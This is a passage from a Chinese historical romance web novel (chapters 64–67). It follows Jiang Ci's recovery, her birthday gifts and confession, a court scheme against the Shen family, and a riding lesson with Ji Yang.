十年后,战乱平定,天子登基。她在集市中偶然看见一支浩浩荡荡的迎亲队伍,主位之上,是那年曾唤她桃儿的将军。
她追过去,拦在马前,眼里满是惊喜,手却在发颤。她张口,却发不出声音。
他居高临下地看了她一眼,对身边人说:‘不认识。赶走吧。’
队伍扬鞭而过,她跌坐泥中,手中紧紧攥着他当年送的玉扣,一句话都说不出来。”
姬阳读到这里,忽而停住。
他握着书的手缓缓收紧,半晌后轻声道:“她是个哑女,连怨都说不出口。”
屋里静了片刻,只余姜辞轻轻的呼吸声。
她望着他,唇角微微颤动,像是想说什么,却终究只是低声道:“这将军……真薄情。”
姬阳垂着眼,道:“嗯,的确是。”
姜辞眼神动了动,轻声问道:“那后来呢?”
姬阳垂眸看了她一眼,将手中的书轻轻合上:“没有后来了。”
“就这样放过一个负心汉……”姜辞轻轻垂下眼帘,语气中透着几分不甘,“未免也太便宜他了。”
姬阳闻言,低声道:“若他真因局势所迫,不得不娶他人……纳哑女为妾,也好过这般决绝。”
姜辞却抬眸看向他,声音清清淡淡,却字字分明:“可并不是所有女子,都愿意给人做妾的。若已定心意,本就该从一而终。”
她说完这句话,忽然眉心一蹙,微微侧过头去。
姬阳立刻察觉,语气紧了几分:“怎么了?”
“没事……”姜辞轻咬下唇,“伤口有些痛,大概是话说多了。”
姬阳神情一敛,赶紧将书放到一旁,弯身小心将她扶躺回榻上,语气放得极轻:“别说了,好好躺着。”
他为她掖好被角,低声道:“我去看看晚娘有没有做什么吃的,这两日你未进食,得吃点东西养伤。”
说完,他看了她一眼,确认她安稳地靠着枕褥,方才轻步走了出去。
姬阳出了姜辞房门,脚步略快地往回廊方向走去。正巧遇上晚娘端着一盆净水回来,脸上满是焦急与疲倦。
他唤住她:“姜辞醒了,去厨房准备些清淡的汤羹,要补气养血的。”
晚娘一怔,随即眼圈一热,惊喜地说道:“姑娘醒了?太好了,总算醒了!这几日她一直高烧不退,我都不敢睡……”她抬手擦了擦眼角,“都督这两日也辛苦了,我等下做一份,也给您拿过去吧。”
姬阳点点头,没有多言,便转身往自己屋子走去。
他回到屋内,吩咐越白准备热水。换下衣服,他沉入热水中,整个人都仿佛被热气蒸得有些发晕。脑中仍浮着姜辞睁眼那一瞬虚弱的神情,心头隐隐发紧。
沐浴过后,他披衣而起,忽地想起一件事,眉头轻蹙,片刻后便披上外衣,快步出了府。
片刻后,东阳城最有名的首饰铺内,掌柜的正打着算盘,见姬阳亲自踏入,连忙迎了上来,满面堆笑:“哎哟,都督大人,您来了!您订的那套首饰,前些日子就制好了,按照您的吩咐,没有送到府上,一直在这儿等着您呢,这就取来给您过目。”
说着,恭敬地捧出一个乌木雕花首饰盒。
姬阳接过,打开盒盖,铺着锦缎的盒中静静躺着一套首饰。
一对镂花并蒂莲钗子,一对碧玉珍珠耳珰,一双细致素雅的金镯,还有一串温润白玉与赤金交缠的项链,款式不繁,却极雅致。
他盯着那对钗子看了一瞬,才轻轻合上盒盖,从袖中取出一袋银钱放在柜台上,语气淡淡:“我取走了。”
掌柜忙笑着躬身:“都督慢走,姑娘见了一定欢喜。”
姬阳未应,提着首饰盒大步出了店门,朝东阳侯府快马加鞭而去。
这几日,姜辞身上的刀伤逐渐愈合,人也慢慢有了些气色。
秋意悄然,夜凉渐浓。晚间的风掠过庭院,带来一丝丝薄寒。
她披着一件单薄的外衫,坐在廊下的矮榻上,膝上摊着一本古书,神色专注,眉眼间却不觉透出一份静谧。
院门“吱呀”一响。
姬阳从督军署归来,远远便望见她单影伫坐,头发被风扬起。
他眉头微皱,快步走近,脱下外披,轻轻覆在她肩上。
姜辞微怔,原以为是晚娘,转头一看,却对上一双清冷沉稳的眼。
姬阳略显不悦:“身子刚好些,就这般不知轻重?入秋了,早晚凉。”
姜辞笑了笑,拉了拉他披在自己肩上的那件披风,拍了拍身侧的位子,轻声道:“坐吧。”
姬阳也不推辞,微微一颔首,便在她身旁坐下。
夜色低垂,院中只听见秋虫低鸣与书页被风轻轻翻动的声响。
姜辞合上书,转头看了他一眼:“今日怎么回来得晚?”
姬阳抬眸,淡声道:“边防折子多了一份,说是西凉最近调动兵马,像是想试探我们溪陵防线。”
“西凉……”姜辞低声重复了一句,神色微沉,良久才问,“你觉得,真会有战吗?”
姬阳静默片刻,道:“不一定。但西凉王老了,他的儿子蠢得只剩下野心,迟早会挑事。”
姜辞微微皱眉,低声道:“若真开战……百姓又要受苦了。”
她的声音很轻,却像一下子触到了姬阳心中某个角落。他偏头看她,夜色映着她的侧脸,轮廓温柔,却藏着笃定的坚韧。
良久,姬阳低声道:“你以前……有没有想过做别的事?”
姜辞转头看他。
姬阳看着她的眼睛,语气缓了些:“不做刺史之女,不做谁的和亲人……只做姜辞的话,你想做什么?”
姜辞愣住。
她很少听到这样的问题,仿佛这个世界从未真正允许她想要些什么。
许久,她轻轻一笑:“若能随心……我
想开一家医馆。若治不了世间苦难,那就治病救人,总归有用。”
她回问道:“那你呢?若不做东阳都督,若没有仇,也没有乱世,你想做什么?”
姬阳静了一会儿,才低声道:“也许……种田。”
姜辞忍不住笑出声,带着几分调侃:“你种田?你可会翻地插秧?”
“不会。”姬阳也笑了下,语气却罕见地温和,“但若日子能静下来,陪着想守的人守住几亩田地,也不是坏事。”
夜色沉沉,廊下微风拂动。姜辞披着披风,坐在姬阳身旁,手中书卷已合,手旁的茶盏微凉,气氛却并不沉闷。
忽然,姬阳似是想起什么,低声开口道:“沈廷安回去了,溪陵那边也没再提起沈如安的事。他们心里清楚,是理亏。”
他顿了顿,神色渐冷,“但我并不打算就这么放过他们。”
姜辞侧目看他,轻声问道:“都督打算如何处置?”
姬阳薄唇微抿,语气不疾不徐:“他竟敢绑东阳都督夫人,此事若无波澜,旁人只会觉得我姬阳可欺。必须敲打一番,让他们知分寸。”
姜辞垂眸思索片刻,语气平稳却不失分寸:“沈老将军白发人送黑发人,我们要打压,但不能逼得太狠。若此时借势施压,使他心生愧意,反倒更能让他伏低做小。”
她转头看向姬阳,语气微顿,继续道:“婆母前两天同我说,她已将此事原委详细写信告知沈老将军。”
“沈家如今自知理亏,不敢轻易与旧西凉勾连。若我们迟迟不动,反倒能吊着他们一口气,让他们日日提心吊胆,等着被秋后算账。”
“与其仓促清算,不如等一个契机,让他们心甘情愿交出兵权。”
姬阳望着她,目光微动,语气缓了几分:“你这话,倒是与陆临川说的颇为相似。他也劝我再等等。但眼下这局势,这契机,该如何造出来?”
姜辞沉思片刻,指腹在茶盏边缘缓缓摩挲,眼神静如止水,语气也极稳:“沈家军常年驻守溪陵,与西凉隔江而望。西凉本就有意拉拢,若近日有人来议和,或是送来赈灾粮草表示友好,按照惯例,理应由你亲自派人接应。毕竟东阳军握有统辖之权,边防事务,不容他人擅专。”
她话音未落,姬阳眸色已沉了几分,指尖敲了敲桌面,目光紧锁着她:“借西凉之手设局?”
姜辞微一点头,神情未有一丝波动,语气沉静如初:“不错。可安排你姑父担任此次与西凉交涉的使者,由他率人前往边境接应。途中,我们再安插心腹,伪作西凉细作,混入使团。”
她语顿片刻,指尖轻轻敲在茶盏边缘,缓缓道:“故意送出一封假信。信中写沈青禾曾私下允诺放宽防线、暗通消息。言辞模糊,措辞含混,既不明说,也不全假,让人一看便起疑心。”
她抬眸看向姬阳,神色笃定,唇角却仍是温和:“而你姑父,便是那位偶然截获此信的人,他一定会大做文章。”
姬阳神色渐凝,盯着她片刻未语,仿佛在衡量这计策中每一寸利害。屋内灯影微晃,映出他眉间隐隐的沉思。姜辞却不催促,只静静望着他,语调低缓:
“届时我们出面查,明为肃贼,实为请罪。只需沈廷安稍有应对不慎,便可落下‘通敌嫌疑’之柄……再由婆母出面,以护沈家忠义为名,将兵权收回。既能压服溪陵众将,也能保沈家不至名声尽毁,一举两得。”
姬阳目光落在她神情冷静的面庞上,良久,才缓缓开口:“此计周密,攻守兼备,不动兵锋,便可取权。”
他说这句话时,声音很轻,却透着一种藏不住的赞许。
他语气平缓,似笑非笑地补了一句:“知我者,你和陆司马也……”
这话语气听似淡然,却透出前所未有的笃定与认可。姜辞怔了怔,随即轻轻垂下眼,唇角微扬,笑意浅淡:“多谢都督抬举。”
一阵风吹过,檐角轻响,一片树叶旋着从空中落下,不偏不倚地飘进她鬓边。
姬阳下意识伸出手,指腹拂过她发间,将那叶子轻轻取下,动作极轻。
他的手还未收回,她已抬眸望向他。目光一触,两人都未言语,却谁也未避开。
姬阳指尖微顿,眼神落在她眼中那抹未退的光,眸色一寸寸深了下去。他缓缓俯身,动作极轻,像是给她足够时间推拒。
但姜辞没有动。
她只是静静看着他,眼神里带着一点藏不住的慌乱,却又像是在等他靠近。
呼吸愈发交叠,彼此的气息清晰可闻,唇与唇之间的距离,不过寸许。
第65章
可就在唇将触及那一刻——
“都督!夫人!晚娘炖的参汤好了,您要不要……”
银霜的声音自院外传来,惊得两人同时一震。
姬阳动作微顿,随即直起身子,咳了一声,神色敛起,恢复了往日的沉稳内敛。
姜辞则红着耳尖微侧过头,低声应了句:“知道了。”
姬阳起身站在她身侧,静默片刻,最终只是淡淡开口:“夜里凉了,还是先喝点参汤补一补。”
姜辞轻轻应了一声,低头理了理自己鬓边散乱的发丝,神色看似平静,眼神却微微闪躲。
银霜端着托盘,扫了一眼二人之间那一瞬凝滞的气息,虽未多言,却垂下眼,只恨自己出现的不是时候。
姬阳接过汤盏,半跪在姜辞身侧,将瓷盏递到她唇边,语气温和却克制:“趁热,慢些。”
姜辞接过时指尖微颤,低声道:“谢谢。”
一盏汤下肚,她脸上的红意才慢慢退去。可无论她如何避开目光,心头那一点悸动,却仍未散去。
姬阳默然收回汤盏,起身将托盘搁至一旁,正欲转身,却听姜辞轻声唤了句:
“都督。”
他回头。
姜辞微抬眼,望着他,神色似笑非笑:“你刚才,是不是想说什么?”
姬阳看着她,神情微动,却只是道:“等你好些,再说。”
姜辞望着他转身离去的背影,心跳却不受控制地加快了几分。她忽然抬手,轻轻捂住了自己的脸颊,指尖触及时,再次发烫。
银霜察觉她异样,小心凑近,低声问:“小姐,你这是……怎么了?”
姜辞指尖微收,眸光掩在掌心后,轻轻一笑,语气却带了几分藏不住的欢快与羞意:“没什么……就是有点热,哈哈。”
银霜抬头看了看天,这都入秋了,哪里热了?
另一边,姬阳回到房中,抬手合上门扉。
咔哒一声轻响落定,他背脊缓缓靠上门板,脑子里一阵嗡嗡,仿佛方才那片刻的靠近,还残留在心尖。
他低头,额角微有薄汗,喉间滚动一下,深深吸了口气,片刻后,才慢慢吐出。
他不知自己这是怎么了。
不过是靠近了些,只不过是差一点碰到她的唇而已……可那一瞬,心跳快得几乎不受控,竟比沙场搏杀时还要慌乱。
姬阳垂眸望向自己仍未平复的掌心,神色渐渐敛下。他从不惯于失控,尤其是情绪。
可她方才那眼神,太近了,太软了。
他抬手,覆在眉心,低声喃喃:“……我怎么会如此?”
第二日,天已大亮,东阳侯府便已悄然热闹起来。
今日是姜辞的生辰,八月初三,虽未张扬声势,却也在府中备下丰盛饭菜,仆从往来脚步忙碌,厨房里热气腾腾,香气早早飘出廊外。
晚娘一早便进了房,将一件颜色明亮的浅红织锦袍子捧到姜辞床前,笑吟吟地道:“姑娘今日是寿星,得穿得喜气些。”
姜辞见那衣袍颜色艳中带柔,不失端庄,又添几分活色,便也未推辞,任她替自己更衣梳发,略描了唇色。
收拾妥当后,她携银霜一道前往正院,给姬夫人请安。
正院厅中,姬夫人早已端坐,一身青纹锦袍,神色威严而亲切。旁边姬云梵也在,身穿月白长衫,正低声与姬夫人说着话。见姜辞进来,姬夫人先是细细打量她一番,点头笑道:“气色好了许多,看来伤养得不错。”
姜辞福身行礼:“多谢婆母关心。”
姬云梵笑着递上一只精致的匣子:“这是我和竹娘去精挑细选的香泥,说是可安神静气,愿姜姐姐日日平安顺遂。”
姜辞笑意温婉:“谢过阿梵。”接过礼盒时不忘摸了摸姬云梵的头。
姬夫人也命人取来一件玉质温润的福寿佩,亲自递到她手中:“这是我年轻时戴过的,虽不名贵,却是跟了我半生。”
姜辞连声道谢,接过玉佩时眼中颇有些动容。
这时,姬夫人看向一旁静坐的姬阳,眼尾挑了挑:“你这做夫君的,总该准备点什么吧?”
姬阳抬眼看姜辞一眼,声音不疾不徐:“备了,只是……还不是时候。”
姬夫人轻哼了一声:“学上陆临川那一套扭捏作态了?你可是个带兵打仗的武将。”
姬阳不作辩解,只是低头抿了一口茶,静静听
着母亲说话。
姜辞陪着姬夫人一同品茗闲话,屋中气氛轻松而温暖。
聊着聊着,姬夫人便说起往昔:“我年轻时可没这么清闲,哪像你们,如今打仗都在外头营里,不让我们插手。我那时是跟着你公爹一道在前线斩敌,一刀一枪砍出来的汀洲的地盘。”她说这话时眼神铮亮,举止间仍带一分昔年女将的英气。
银霜在旁听得两眼发光,忍不住低声道:“夫人真是巾帼不让须眉!”
姜辞亦笑道:“婆母能征善战,当真令人钦佩。”
姬夫人抬手握住姜辞的手,轻轻拍了拍:“你这孩子,虽不执刀,却谋定后动,能替子溯清路护局。这世间男子能做的,女子也能做,不是在他身后守望家国,就是与他并肩而行。”
她顿了顿,目光中多了几分柔意:“如今看来,姬阳真是……得了个好福气。”
姬阳仍坐在一旁,没出声,低眉品茶,不知是默认,还是不愿在此时多言。
午时,三人一同用了饭,桌上皆是姜辞素日喜爱之物,姬夫人难得留了姜辞小半日,说起不少陈年旧事。
饭后,姬夫人准备午睡,姬阳陪着姜辞一同走出正院。
院外阳光微暖,风中带着初秋的凉意,走至回廊转角,姬阳忽然停下脚步,看着她道:“晚上回来,我陪你过生辰。”
姜辞看他一眼,眼中微漾笑意,轻轻点头:“好。”
说罢,姬阳转身离去,朝督军署而去。
姜辞与银霜并肩走在回廊下,午后的日光洒落檐角,投下斑驳光影。
她忽然转头看向身侧少女,唇角含笑:“我瞧你方才望着婆母时,那眼神……分明满是羡慕。”
银霜怔了一下,抿唇低头,耳尖却悄悄泛红。
姜辞又似不经意地问了一句:“你还没告诉我,你……是什么时候学的功夫?”
银霜沉默了一会儿,才低声道:“我六岁那年,被亲娘卖给了镇上的屠户……那屠户凶狠,我每日不是干活就是挨打,实在熬不住,便趁夜逃了出来,躲进城外的林子里,饿得快要死时,被刺史大人救了。”
她目光有些空,却语气清淡:“他没有问我是谁,只说我能活着,是命硬。之后就带我回府,安排我去暗卫营,从刀法到追踪、潜行、断骨……他让人教我一切,是为了有朝一日,我能守在小姐你身边。”
姜辞听到此处,心中一震,伸手轻轻拉住她的手,她从来没有仔细看过她的掌心,只以为是干活留下,没曾想是少女常年练武所磨出的薄茧,心里难免对银霜生出几分心疼。
她声音温柔:“那日你现身相护,我才知道你竟藏了这许多……你今日听婆母说起往昔沙场,可曾动容?”
银霜抬头,眸中隐有光:“动容。以前我只知道守你性命,如今……却忽然觉得,也想成为一个那样的人。”
姜辞看着她,眼神中透出一丝欣慰,轻声道:“若你真的想,那就去做。你护一方,亦是护一人。”
银霜微怔,像是从未想过这句话的含义。她的指尖轻颤,忽而红了眼,缓缓跪下,哽声道:“小姐……”
姜辞心中一酸,俯身将她扶起,动作温柔至极,一边替她理了理耳侧散乱的鬓发,一边轻声道:“我盼着你有朝一日,也能披甲上阵,成为像姬夫人那样的巾帼。”
银霜眼中含泪,却重重点头:“我一定会的。”
夕阳西沉,天色泛起一层浅金。东阳侯府的庭院被晚霞染成柔和的橘红,风过处,树影摇曳,恍若静谧画卷。
姜辞早早命晚娘在院中亭子里摆上酒菜,碧色瓷盏、雕花酒壶、几碟清馐,皆是她亲挑过的,细致周到。她眉目清润,静坐亭中,只等着那人的到来。
不多时,熟悉的步声自远而近。
姬阳自长廊一侧走来,今日的他似也换了常服,玄衣银带,风姿卓然。剑眉星目间带着一贯的沉稳,却因夕光斜照,添了几分温色。那风中行来的模样,不再是肃杀的都督,而像是她独等一人的归人。
他一进亭中,便先净了手,随后落座,抬眸看了她一眼:“等久了?”
姜辞笑着摇头,还未回话,姬阳便取出一个乌木匣子,推到她面前。
“生辰礼。”
姜辞微怔,伸手打开盒盖,只见里面静静躺着一套精巧首饰。
她指尖轻触簪尾,眼中浮起惊喜:“这样的样式,我从未见过。”
姬阳淡淡一笑:“是我之前托大哥亲手画的图样,请匠人定制的。算是……也含着大哥一份心意。希望你喜欢。”
姜辞鼻尖一酸,轻抚着盒中首饰,半晌不语。她垂眸将头上的发簪取下,忽而抬头望向他,语气柔软却郑重:
“既是我生辰的礼物,那可否请都督,为我戴上?”
姬阳微愣,神色似有迟疑,却还是起身,缓步走到她身侧。
他取出那枚并蒂莲簪,动作小心,俯身替她簪入鬓发。那指尖掠过发丝时,触感温凉。二人极近,连呼吸都仿佛交缠。
这一刻,亭中无言,却宛若寻常夫妻之间的默契举动,宁静而柔软。
亭外不远处,银霜与晚娘站在廊下,望见这幕,皆心中一动,目光含着几分欣慰。
姬阳退后一步,轻声道:“好了。”
姜辞抬手摸了摸发间新簪,笑意盈盈:“我很喜欢。它们会是我一生珍藏的东西,日后……便随我一同入棺。”
姬阳脸色一变,眉头蹙起:“呸呸呸,生辰别说这等不吉利的,你若喜欢,想什么时候要,我便替你寻就好了。”
姜辞却不急不恼,只是抬眸看他,眼神澄澈认真:“都督,我有一件事,想求你。”
姬阳略一顿:“你说。”
姜辞侧头望向远处廊下,银霜立在那里,立得笔直。她便缓声道:“银霜的身手你也见过。我想让她跟着你的兵,一同学习如何上阵打仗。”
姬阳闻言沉默了一下,片刻后低声问:“这是你今日的生辰愿望?”
姜辞点点头:“是。她陪我许久了,我知道她的心意,如今她有那份志气,我想……成全她。”
姬阳看着她,眼中神色微动,沉思片刻,终于颔首:“好。你从不轻易求我,这件事,我应了。”
话音落下,不远处的银霜倏地一颤,眼眶泛红,抬手悄悄拭去眼角的湿意。
饭后余香未散,亭中残盏仍温,夜色却已悄然深沉下来。
院中风静,星月朗朗。
姬阳忽然起身,走到姜辞身旁,朝她伸出一只手。
姜辞一怔,随即将手轻轻递入他的掌心。那一刻,她指尖的凉碰上他掌心的灼热,两人之间仿佛有无声的悸动划过。
姬阳轻声道:“随我来。”
他牵着她,穿过重重月下回廊,来到东阳侯府一处偏僻开阔的空庭。这里少有人至,四下静谧,唯有夜风低吟,树影婆娑。
两人并肩站在院中,月色如洗,地面也被笼上一层温凉光泽。
姜辞仰头看了看四周,轻声问:“你带我来这里做什么?”
姬阳却没有立刻回答,只是静静凝望着东方的天空,神情沉稳而深藏几分紧张。
她微微蹙眉,正欲再问,忽然——
“砰——”
夜空中陡然炸开一束璀璨的光。
那是极亮的一道火光,如骤然盛放的星辰,将漆黑夜色生生点亮。
紧接着,“轰、轰”数声接连响起,烟火接二连三绽放,如花海般
在天幕上铺展开来,金红、水蓝、绛紫、银白,一道比一道更炫目。
姜辞微微仰首,惊讶地看着那片焰彩,整个人仿佛被定在原地,见到如此绚烂的景象,脸上逐渐浮现出一抹难掩的欢喜与天真。
烟花照亮她的面庞,她的眼睛像是也被点燃了光。
她轻声笑出声来,像个不曾染尘的少女。
姬阳偏头看她。
那一刻,他眼底所有的沉稳与冷意仿佛都被这光焰吞噬殆尽,只剩下姜辞的身影倒映在他的瞳孔之中。
她眉眼盈盈,唇角轻扬。
姜辞忽然也转头看他,二人目光相撞,无一退让。
四下寂静,只余烟火绽放的轰响一重接一重,像敲打在彼此心上。
下一瞬,姜辞轻轻踮起脚尖,毫无预兆地,凑上前去,在他唇上落下一吻。
那是一个极轻极浅的吻,仿若烟火擦过天幕的一瞬,却足以让人心头震荡。
“我真的很喜欢。”她低声道,声音被夜风轻卷,“喜欢今天的酒,喜欢今天的晚霞,喜欢今天的烟花……”
她眼里泛着星光,一字一句:
“也喜欢你。”
第66章
姜辞的话音刚落,夜色中只余烟花尾声残响,一点点隐入静寂。
姬阳怔怔看着她,像是无法相信眼前这一幕是真的。
他的心跳得太快,胸腔仿佛有某种压抑了许久的情绪被骤然点燃,灼得他身体发烫。他站在原地,没有立刻回应,指节微微蜷紧,唇线紧抿,眼神却再也无法掩饰其中翻涌的情意。
许久,他低低开口,嗓音带着一点不易察觉的颤意:“你方才说……你喜欢我。”
姜辞抬头望他,目光坦然,轻轻点头。
他眼睫轻颤,像是终于下定决心般,缓缓向她迈前一步。
“我……。”他喃喃道,声音低带着一丝前所未有的坦露,“我定不会负你。”
他说完这句话,伸手握住了她的手,掌心用力,仿佛想通过这点温度来确定这不是梦境。
姜辞望着他,眼中满是笑意,任由他牵着自己。
姬阳垂眸看着她,目光沉静,却藏着一种从未有过的柔软,他慢慢将她揽入怀中,那动作比每一次都郑重。
他的下巴搁在她发顶,声音低沉温缓:“我这一生,都会爱你护你,姜辞。”
姜辞倚在他怀中,听着他沉稳的心跳,只觉世间再无风声,也再无寒凉。
良久,姬阳才微微松开她,低头看她一眼,唇角轻扬一抹极浅极淡的笑意。
夜已深,烟花的余韵还未散尽,天际只剩几点残光,沉入浓重夜色。
院中沉寂了下来,姜辞披着姬阳的披风,与他并肩沿着廊下缓缓而行。风拂过朱栏,树影摇曳,地面上两人的影子被月光拉得很长。
走至两人各自住处的岔道,姜辞脚步一顿,转身看他一眼,轻声道:“都督,我去休息了。”
姬阳也停下,目光落在她眉眼间,片刻后微微颔首:“歇下吧,夜凉。”
姜辞轻轻一笑,点头应了,转身回房。
姬阳目送她的背影消失在屋门之后,才缓缓收回视线,转身朝自己屋子走去,步伐却不似往常那般铿锵沉稳,反倒透着几分难掩的轻松和静意。
可就在这时,夜色中一道身影倚在廊角。
楚窈方才自后门而归,手中还拎着一纸药包,站在阴影里,静静看着廊下那一幕。
她目光冷淡,唇边勾起一抹似笑非笑的弧度,看着那两人背道而行的背影,眼中满是不屑。
“装模作样。”她低低吐出一句,语气轻蔑至极,随后回到房内,一脸不服气的换下衣服,躺下,眼睛却没闭上。
第二日,清晨天光大亮,院中薄雾初散,微风中带着一丝桂花清香。
银霜一边掀帘进屋,一边压低声音唤道:“小姐,快起来,都督在马厩等你呢。”
姜辞方才梳洗完毕,闻言轻轻一怔:“他在马厩做什么?”
“说是让你过去瞧一眼。”银霜神神秘秘地笑着,眼里带着几分促狭。
姜辞将衣摆理好,随她出了门。一路晨风吹过廊檐,天色已经澄净如洗。她循着小径转过回廊,远远便看见姬阳立于马厩前。
他身姿修长,身披玄衣,身旁牵着一匹通体雪白、鬃毛细密的高头骏马。马儿乖顺地站着,见到姜辞走近,竟轻轻摇了摇头,似在打招呼。
姬阳见她来了,眼中微光一动,抬手拍了拍马颈:“这匹马是我前几日从军中挑的,性子温顺,步稳胆大,适合初学。”
他说着将缰绳递到姜辞手中:“它还没取名字,你来给它起个吧。”
姜辞一愣,接过缰绳,手指触到那皮革时,竟有些不敢动,白马微微探头,温热的鼻息拂过她手腕。
她低声道:“要是起不好名字,它会不会不认我?”
姬阳轻笑:“它是匹马,又不是庙里的仙尊,起个名就算认主了。”
姜辞抿了抿唇,认真想了片刻,才低声道:“那就叫银雪吧,白得像初雪。”
姬阳点了点头,看着她认真模样,眼底笑意更深:“挺好听的,但像是你给银霜寻了个妹子。”
姜辞笑了笑,笑着说道:“原来是批母马,我爹爹说马通人性,与银霜成为姐妹也不错。”
他走到姜辞身后,耐心教她如何伸手触碰马脖,如何用掌心贴着它的鬃毛顺毛安抚。
姜辞小心翼翼地照做,指尖初时还有些紧张,马儿却极配合,轻轻地蹭了蹭她的手心。
她抬头看向姬阳,眼里微亮:“它认我了?”
“认你了。”
姬阳从她手中接过缰绳,转而牵着马往外走:“之前答应过你,要带你骑马。今日天好,这草原刚泛黄,正好踏秋。”
姜辞眨了眨眼,抬步追上,嘴角已带了抑制不住的笑意。
出了府门,一路缓行至丰都城外,眼前豁然开朗。开阔的草地在秋日微风中轻轻摇曳,偶有几只斑雀掠空而过,远山如黛,天光澄碧。
姬阳先将姜辞扶上马,掌心护着她的腰肢将她抱稳,才慢慢放开。
姜辞坐上马背,姿势僵直,整个人仿佛不敢呼吸。
“别怕,我在。”
姬阳柔声安抚一声,牵着银雪的缰绳,沿着草地缓步前行。
姜辞渐渐找到了平衡,身形也放松了些,马儿配合得极好,小步而行,偶尔扬起头,看向身侧的主人。
姬阳一边牵着,一边道:“骑马要学会听它呼吸,看它耳朵动的方向,它若害怕,就轻声哄它;它若躁动,就紧一紧缰绳。”
姜辞低头看着他,忍不住轻笑:“你连训马都说得这么像训人。”
“你若愿学,我便天天教你。”
他话音刚落,便牵来自己的黑马,翻身而上。银雪见他骑马奔前,自己也小跑了两步,带着姜辞小小颠了一下。
她惊呼一声:“快了快了!”
“别慌,顺着它的节奏来,放松。”
姜辞甜甜笑起来,像是久违的快活,风从耳边掠过,马蹄轻快,阳光落在她的睫毛上,折出一片温柔的光。
骑了许久,眼见前方开阔,一时技痒,姜辞便侧头朝姬阳笑了一下,道:“我想让它跑快些。”语气里带着些不自觉的跃跃欲试。
姬阳挑眉看她一眼,语气仍沉稳:“你才学了多久?不可逞强。”
姜辞却不听劝,学着他方才的样子抖了抖缰绳,小声安抚了一句“银雪,快点”,马儿受了鼓动,果然步子快了些。
风从耳侧掠过,起初尚能掌控,谁知那马却突然精神起来,蹄声骤急,竟渐渐提速,往前奔去。
“银雪!银雪——别跑那么快!”姜辞急急拉缰绳,语气里已有慌乱,马儿却不听,越奔越快。
身后姬阳面色一沉,低喝一声,双腿一夹,催马追了上去。
他一面追,一面喊:“别拽缰!放松!身子前倾!”
可姜辞已然慌了神,哪里听得进去,只觉脚下浮空,心头直跳。
“姜辞,别怕!”
姬阳追至她身侧,眼见她身形微晃,猛地一提缰绳,身形一跃,竟从马上一翻而起,稳稳落到她身后。
“别动。”
他的手臂及时环上她腰间,一手握住缰绳,将马儿强行勒停。银雪被迫止步,嘶鸣一声,前蹄高扬,几乎腾空。
姜辞被他护在怀中,整个人都被他的气息紧紧裹住,心跳之快,几乎要跃出胸膛。
马终于慢慢平息,四蹄落地,喘着粗气停下。
她靠在他胸前,半晌说不出话。
姬阳低头看她,语气放缓了许多:“吓到了?”
姜辞脸颊泛红,小幅度地点了点头,随后又摇了摇头,却不敢抬头看他。
“下次不许擅自提速。”他语气虽淡,语尾却轻了,像是一种责备,也像是克制后的关心。
“嗯……”姜辞喃喃应了,仍靠在他怀中不动,像是心还悬着。
姬阳看着她,手指从她耳后拢过一缕散发,语气极轻:“没事了。”
草地尽头有一片低洼的丘岭,间或夹杂着几株歪脖老树,落叶稀稀疏疏地铺了一地。姬阳勒马停步,转头看她:“歇一歇吧。”
姜辞点头,牵着银雪在旁停住,眼角还挂着方才疾驰时被风吹出的红晕。
姬阳从马背上取下早备好的布包,将茶壶与小盏一一摆出,又铺了一张毯子,请她落座。
“怎的还有备茶?”姜辞笑着看他。
“你前两日才好,不能贪风。”姬阳淡淡回她,替她斟了一盏热茶,壶口还有余温,显然是越白一早备好的。
姜辞低头饮了几口,唇畔浮着一抹柔色。茶香混着秋意,暖意从喉头一路滑入心间。
姬阳侧坐在她身旁,眸光不经意落在她掌心,那一圈被马缰勒出的红痕仍在。
他伸手,将她手掌托起,指腹轻轻抚过那道痕迹,语气不高:“疼吗?”
姜辞被他这一触吓了一跳,下意识想缩回去,姬阳却只是温温地看了她一眼,没有松手。
她轻声道:“不疼。”
“你都多大了,怎么还有反骨,刚说完要慢点,你就冲了出去。”姬阳语气淡淡,却低头替她拿出药膏,卷起她袖口,认认真真地抹上。
姜辞看着他的侧脸,光线柔和,映得他眉眼更加沉静。那是她从前未曾熟悉的模样,甚至有些……温柔。
“都督如今越来越像大夫了。”她低笑一声,语气里带着调侃。
“耳目渲染,姜大夫,这不及你在宁陵的一分。”姬阳答得随口,却在说完后顿了一瞬,低头拧好药瓶时,指节微紧。
姜辞垂下眼眸,掩住眼底波动:“这茶……是金桂花煮的?”
姬阳点点头:“你说过喜欢这个香味。”
姜辞微顿,抬头看他一眼,却见他不言不语地注视着自己,眸色很深,像藏了话,却未曾说。
她心口一跳,慌乱地偏开视线,喉间轻轻咳了下:“我们……坐得也够久了。”
“嗯。”姬阳淡淡应了一声,语调从容:“若你乏了,便不走远,我们再慢骑回去。”
姜辞点头,却不知为何有些舍不得这一时光景。耳畔只有风声与落叶,远山静默,天地温柔得仿佛隔了乱世。
忽有几瓣残花从树枝上落下,飘在毯边。
她轻轻抬眼,看着姬阳身上沾着的花瓣,忽而伸手帮他拈下。
他怔了怔,低头看她,她笑着说:“落了花。”
“嗯。”他答得不轻不重,却再没移开视线。
二人牵着缰绳并肩而行,夕阳照在二人身上,姬阳主动牵起姜辞的手,二人的影子落在青石小道上。马儿轻啼,草叶簌簌,秋意正浓。
路旁有小贩收摊,见二人牵马而行,顿时低声感叹:“那可是东阳都督与都督夫人啧,真是郎才女貌、天作之合。”
“可说呢,看着感情真好啊,真叫人延线。”
说笑声入耳,姜辞面上微红,低声道:“这东阳的百姓,倒是热情。”
姬阳低低“嗯”了一声,神色淡定,耳根却不由自主泛起一丝热。
回到东阳侯府,夜色已深。姜辞打了个不甚遮掩的哈欠,眼角微红,声音软软的:“今日,好像玩得太久了。”
姬阳看她一眼,语气温和:“银霜那边,我已经安排妥当。明日一早,她去督军署找杜孟秋报到便可。”
他顿了顿,微侧过身,“你也累了一日,早点歇息。”
姜辞“嗯”了一声,眸光闪烁,忽地踮脚在他脸颊上轻轻一啄,低声道:“多谢都督今日百忙中抽空陪我。”
语罢不等他反应,笑盈盈地提裙而走。
姬阳怔了一瞬,耳边似还萦绕着她温软气息。他微垂下眼,抬手摸了摸脸颊,嘴角却轻轻弯起。
第67章
夜里,姜辞回到房中,怎么也睡不着。
她在床上滚来滚去,一会儿将脸埋进枕头,羞得不敢出声;一会儿又傻笑着捂住眼睛,小声自语。
夜深月冷,风吹入帐,她才不知不觉才沉入梦乡。
次日清晨。
姜辞早早醒来,亲自替银霜整理了衣角和发带,叮嘱道:“记得别迟了。今日是你第一日入军营,要拿出你的本事来。”
